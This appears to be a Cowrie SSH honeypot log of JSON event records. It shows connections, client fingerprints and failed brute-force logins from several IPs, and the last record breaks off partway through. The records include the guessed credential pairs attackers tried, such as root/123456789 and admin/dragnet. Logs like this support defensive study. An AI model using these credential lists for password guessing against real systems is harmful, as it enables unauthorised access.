{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:18:48.663077Z","src_ip":"45.153.34.114","session":"a4babb7deb85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"openclaw","message":"login attempt [openclaw/openclaw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:18:48.917900Z","src_ip":"45.153.34.114","session":"a4babb7deb85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:18:50.014604Z","src_ip":"45.153.34.114","session":"a4babb7deb85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":59906,"dst_ip":"159.203.135.109","dst_port":22,"session":"42a939f7a99a","protocol":"ssh","message":"New connection: 45.153.34.114:59906 (159.203.135.109:22) [session: 42a939f7a99a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:18:56.452718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:18:56.468690Z","src_ip":"45.153.34.114","session":"42a939f7a99a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:18:56.542976Z","src_ip":"45.153.34.114","session":"42a939f7a99a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chatgpt","password":"chatgpt","message":"login attempt [chatgpt/chatgpt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:18:56.867386Z","src_ip":"45.153.34.114","session":"42a939f7a99a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:18:57.954952Z","src_ip":"45.153.34.114","session":"42a939f7a99a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":57478,"dst_ip":"159.203.135.109","dst_port":22,"session":"095de658afb7","protocol":"ssh","message":"New connection: 103.75.199.4:57478 (159.203.135.109:22) [session: 095de658afb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:01.686509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:01.693609Z","src_ip":"103.75.199.4","session":"095de658afb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:01.785860Z","src_ip":"103.75.199.4","session":"095de658afb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gabriel","password":"gabriel","message":"login attempt [gabriel/gabriel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:02.061082Z","src_ip":"103.75.199.4","session":"095de658afb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:03.155570Z","src_ip":"103.75.199.4","session":"095de658afb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":48698,"dst_ip":"159.203.135.109","dst_port":22,"session":"3abb6866397e","protocol":"ssh","message":"New connection: 45.153.34.114:48698 (159.203.135.109:22) [session: 3abb6866397e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:04.291688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:04.302520Z","src_ip":"45.153.34.114","session":"3abb6866397e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:04.386351Z","src_ip":"45.153.34.114","session":"3abb6866397e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"4r3e2w1q","message":"login attempt [root/4r3e2w1q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:04.724191Z","src_ip":"45.153.34.114","session":"3abb6866397e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:05.810287Z","src_ip":"45.153.34.114","session":"3abb6866397e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":54743,"dst_ip":"10.17.0.5","dst_port":22,"session":"7177c3547f98","protocol":"ssh","message":"New connection: 2.57.121.112:54743 (10.17.0.5:22) [session: 7177c3547f98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:12.473203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:12.478226Z","src_ip":"2.57.121.112","session":"7177c3547f98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:12.582494Z","src_ip":"2.57.121.112","session":"7177c3547f98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":48772,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a706d401df8","protocol":"ssh","message":"New connection: 45.153.34.114:48772 (159.203.135.109:22) [session: 4a706d401df8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:12.790364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:12.799381Z","src_ip":"45.153.34.114","session":"4a706d401df8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:12.880909Z","src_ip":"45.153.34.114","session":"4a706d401df8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dragnet","message":"login attempt [admin/dragnet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:13.071942Z","src_ip":"2.57.121.112","session":"7177c3547f98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789","message":"login attempt [root/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:13.239697Z","src_ip":"45.153.34.114","session":"4a706d401df8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dragan","message":"login attempt [admin/dragan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:14.179401Z","src_ip":"2.57.121.112","session":"7177c3547f98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:14.329847Z","src_ip":"45.153.34.114","session":"4a706d401df8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"draft","message":"login attempt [admin/draft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:15.287305Z","src_ip":"2.57.121.112","session":"7177c3547f98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dover1","message":"login attempt [admin/dover1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:16.395278Z","src_ip":"2.57.121.112","session":"7177c3547f98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":57676,"dst_ip":"159.203.135.109","dst_port":22,"session":"90baa4090866","protocol":"ssh","message":"New connection: 20.203.42.204:57676 (159.203.135.109:22) [session: 90baa4090866]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:17.480361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:17.485355Z","src_ip":"20.203.42.204","session":"90baa4090866","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dora","message":"login attempt [admin/dora] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:17.503727Z","src_ip":"2.57.121.112","session":"7177c3547f98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:17.660780Z","src_ip":"20.203.42.204","session":"90baa4090866","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:18.395855Z","src_ip":"20.203.42.204","session":"90baa4090866","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:18.611478Z","src_ip":"2.57.121.112","session":"7177c3547f98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:19.574419Z","src_ip":"20.203.42.204","session":"90baa4090866","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":44954,"dst_ip":"159.203.135.109","dst_port":22,"session":"474aedff54f7","protocol":"ssh","message":"New connection: 45.153.34.114:44954 (159.203.135.109:22) [session: 474aedff54f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:21.016050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:21.021376Z","src_ip":"45.153.34.114","session":"474aedff54f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:21.111313Z","src_ip":"45.153.34.114","session":"474aedff54f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"john","password":"john","message":"login attempt [john/john] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:21.369626Z","src_ip":"45.153.34.114","session":"474aedff54f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:22.465782Z","src_ip":"45.153.34.114","session":"474aedff54f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":56822,"dst_ip":"159.203.135.109","dst_port":22,"session":"25c52eebade1","protocol":"ssh","message":"New connection: 103.75.199.4:56822 (159.203.135.109:22) [session: 25c52eebade1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:23.647887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:23.653210Z","src_ip":"103.75.199.4","session":"25c52eebade1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v